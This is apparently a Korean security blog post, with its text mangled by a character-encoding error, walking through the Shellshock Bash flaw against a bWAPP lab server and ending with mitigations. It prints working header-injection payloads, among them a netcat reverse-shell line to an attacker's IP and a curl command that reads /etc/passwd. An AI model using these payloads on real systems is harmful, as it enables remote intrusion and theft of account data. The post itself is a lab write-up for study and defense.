ν°μ€ν 리 λ·°
κ°μ
2014λ 9μ μ λμ€(UNIX) μ΄μ체μ μ Bash Shellμμ λ°μν μ·¨μ½μ μ λλ€. κ°μ ν΄μ OpenSSLμ λ¬Έμ λ‘ λ°μν Heartbleed λ³΄λ€ νκΈν¨κ³Όκ° λμ± μ»Έλ μ¬κ±΄μ΄μμ΅λλ€.
μ μΌν¬μ κ²½μ° UNIX μ΄μΈμλ MAC OSX, Android, OpenBSD, DHCP Client, CGIλ₯Ό μ¬μ©νλ μΉμλ² λ± ν΄λΉ μ΄μ체μ μ μ·¨μ½ν Bash Shellμ μ¬μ©νλ λͺ¨λ μ΄μ체μ μμ λ°μνμμΌλ©° 무μλ³΄λ€ μ격μΌλ‘ μ½λλ₯Ό μ€ννμ¬ root κΆνμ νλνκ±°λ λμ μλ²μ μ§μ λͺ λ Ήμ λ΄λ¦¬λ λ°©λ²λ κ°λ₯νμ΅λλ€.
μ·¨μ½ν λ²μ
GNU Bash 4.3μ ν¬ν¨νμ¬ μ΄μ λͺ¨λ bash-3.0-27.el4.2
bash-3.2-32.el5_9.2
bash-3.2-32.el5_9.1
bash-3.2-24.el5_6.1
bash-3.2-33.el5_11.1.sjis.1
bash-3.2-33.el5.1
bash-4.1.2-15.el6_4.1
bash-4.1.2-9.el6_2.1
bash-4.1.2-15.el6_5.1.sjis.1
bash-4.1.2-15.el6_5.1
bash-4.2.45-5.el7_0.2
CGI(Common Gateway Interface) μ΄λ
μΉ μλ²μ μΌλ° νλ‘κ·Έλ¨μ μ°κ³νκΈ° μν΄ λ§λ€μ΄μ§ κ·μ½μΌλ‘ νμ¬λ μλ² μΈ‘ μΈμ΄μΈ asp, jsp, php κ° νμ±νλλ©΄μ μ¬μ©νλ κ³³μ κ·Ήν λλ¬Όκ² λμμ΅λλ€.
μ΄λ νΉμνκ² μ‘°μλ νκ²½λ³μλ₯Ό μ½μ νκ² λλ©΄ λμ μλ²μμλ bash νκ²½λ³μ λ΄μ νλ¬λ°μ λͺ λ Ήμ΄λ₯Ό μ€νμν€κ² λλ λ°©μμ λλ€.
<!-- μ·¨μ½ν bash λ²μ μΈμ§ νμΈ -->
env x='() { :;}; echo vulnerable' bash -c "echo test"
μ·¨μ½μ μ΄ ν¨μΉλ λ²μ κ³Ό κ·Έλ μ§ μμ λ²μ μ νμΈν΄λ³Έ κ²°κ³Ό echo μΆλ ₯μ΄ μ‘°κΈ ν립λλ€.
ShellShock λ νκ²½λ³μ(env)λ₯Ό μ μΈνλ κ³Όμ μμ λ°μνλλ° νκ²½λ³μ(var=) λ€μμ ν¨μ μ μΈ () {return; }; μ ν΄μΌ νλ κ² μ μμ΄μ§λ§ 곡격μκ° μμμ μΌλ‘ μ½μ ν μμ€ν λͺ λ Ήμ΄( /bin/id )κΉμ§ μ€νλ κ²½μ° ν° λ¬Έμ κ° λ°μν μ μμ΅λλ€.
ν¬νΈλ²νΈ " 4545 " λ₯Ό μ΄μ΄λκ³ λμ μλ²μ 컀λ₯μ νκΈ° μν΄ μ€νν΄λ‘λλ€.
μΉ νλ‘μ λꡬλ₯Ό ν΅ν΄ μ‘μμ€ ν Referer ν€λλ₯Ό 곡격μ μλ²μ μ λͺ λ Ήμ΄λ₯Ό μ¬μ©νλ 곡격μ½λλ₯Ό μ λ ₯ν΄μΌ ν©λλ€.
μ΅μ 리λ μ€ νκ²½μμλ -e μ΅μ ( μνΈ κ°μ Connection λμμ κ²½μ° fileμ exec μν΄ )μ΄ κ³΅κ²©μ μ μ©λ μ μμ΄μ μ ννκ³ μμ΅λλ€.
Referer ν€λ κ°μ μμ€ν λͺ λ Ήμ΄λ₯Ό μ½μ
() { :;}; echo "Vulnerable bWAPP:" $(/bin/sh -c "nc 192.168.0.20 4545 -e /bin/bash")
곡격μ μ±κ³΅ν κ²½μ° 4545 ν¬νΈλ₯Ό μ΄κ³ κΈ°λ€λ¦¬κ³ μλ 곡격μμκ² μΈμ μ λ§Ίκ² λλ€.
λκΈ° μ€μΈ ν°λ―Έλλ‘ λμκ° νμΈν΄λ³΄λ©΄ μ±κ³΅μ μΌλ‘ λμ μλ²μ Connection λμ΄ μνλ μμ€ν λͺ λ Ήμ΄λ₯Ό μ¬μ©νμ¬ λ€μν μ 보λ₯Ό νλνκ³ μΆκ°μ μΈ Post Exploitμ μλν μκ° μμ΅λλ€.
User-Agent ν€λλ₯Ό νλ¨μ λ΄μ©μΌλ‘ μμ
() { :;}; echo bashtest>/tmp/guleum
CGI νκ²½μ μΉμλ²λ₯Ό λμμΌλ‘ Shell Shockμ μλνκΈ° μν΄ User-Agent ν€λλ₯Ό μμ νμ¬ λμ μλ²μ μμλλ ν 리(tmp) μ μνλ νμΌμ μ λ‘λν μ μμ΅λλ€.
μμμ λͺ λ Ήμ ν΅ν΄ λμ μμ λλ ν°λ¦¬μ νμΌμ΄ μμ±λ κ²μ νμΈν μ μμ΅λλ€.
λ‘컬 κΆν μΌμ§λΌλ μ μΌν¬ μ·¨μ½μ μ ν΅ν΄ λμ μλ²μ μΉμμ μ λ‘λνκ³ μ κ·Όνμ¬ λ€μν κΆνμ μ κ·Όνλ κ²μ΄ κ°λ₯ν΄μ§ μ μμ΅λλ€.
<!-- curl μ ν΅ν΄ νμΌ μ΄λ -->
curl -v -A "() { :;}; echo;/bin/cat /etc/passwd" http://192.168.0.131//bWAPP/cgi-bin/shellshock.sh
-v : μμΈν μΆλ ₯
-A : User-Agent μ¬μ©
curl( Client URL )μ μ¬μ©νμ¬ νμΈν΄ λ³Ό μλ μμ΅λλ€. /bin/cat /etc/passwdλ₯Ό ν΅ν΄ λμ μλ²μ μ‘΄μ¬νλ μ¬μ©μ κ³μ μ 보λ€μ νμΈν μ μμ΅λλ€.
/etc/shadow νμΌκΉμ§ μ κ·Όμ νκ³ μΆλ€λ©΄ μμ€ν μ μ‘΄μ¬νλ μ·¨μ½μ μ μΆκ°μ μΌλ‘ μ΄μ©νμ¬ λ‘컬 κΆνμ μμΉμμΌμΌ ν©λλ€.
λμ λ°©μ
λΉμ·ν μκΈ°μ λ°μνλ Heartbleed μ·¨μ½μ λ³΄λ€ μ μ©νλ λ°©λ²λ λ§€μ° μ½κ³ μ»μ μ μλ μ λ³΄κ° λ§€μ° λ§κΈ° λλ¬Έμ κ·Έλ λΉμ 보μμμ₯μμ ν° μ΄μμμ΅λλ€.
νμ¬λ κ±°μ λ°κ²¬λλ μ·¨μ½μ μ΄ μλμ§λ§ λ§μ½ κ°μ ν°λ―Έλ νκ²½μΈ Telnetμ΄λ sshλ₯Ό μ°¨λ¨νμ¬ μ격μ λ§λλ€ νλλΌλ μ·¨μ½μ μ μ΄μ©ν΄ CGI μ€ν¬λ¦½νΈλ₯Ό μ¬μ©νλ€λ©΄ 곡격μ λ ΈμΆλ κ°λ₯μ±μ΄ λμ΅λλ€.
λν Router, κ°μ μ ν, 무μ μ‘μΈμ€ ν¬μΈνΈ κ°μ μλ² λλ μ₯μΉμ κ²½μ°μλ λλΆλΆ 리λ μ€ κΈ°λ°μΌλ‘ λμνκ³ μ κΈ°μ μΈ ν¨μΉλ₯Ό νλ κ²μ΄ μ’μ΅λλ€.
λ§μΌ μ΄λ° μλ² λλ μ₯λΉλ€μ΄ μΉ¨ν΄λ κ²½μ°μλ 곡격μλ μ격μ§μμ μνλ λλ‘ μ‘°μνκ³ λ Όλ¦¬μ μΈ λ°©μμΌλ‘ κΈ°κΈ°λ₯Ό μ€μλμν¬ μ μμ΅λλ€.
(1) μ΅μ bash λ²μ μΌλ‘ μ
λ°μ΄νΈ
apt-get install bash
yum -y update bash
(2) IDS λ IPSλ₯Ό ν΅ν΄ http ν€λ κ°μ () , { κ°μ λ¬Έμμ΄μ΄ ν¬ν¨λμ΄ μλμ§ νμ§ λ° νμΈ
(3) μ¬μ©νμ§ μλ CGI μ€ν¬λ¦½νΈλ λΉνμ±ν
'WEB' μΉ΄ν κ³ λ¦¬μ λ€λ₯Έ κΈ
WebDAV μ·¨μ½μ (0) | 2020.10.25 |
---|---|
robots.txt μ 보 λ ΈμΆ μ·¨μ½μ (0) | 2020.10.24 |
SNMP μ·¨μ½μ 곡격 (0) | 2020.10.22 |
SSL Strip μ·¨μ½μ (0) | 2020.10.21 |
λ‘컬 κΆν μμΉ μ·¨μ½μ (udev) (0) | 2020.10.20 |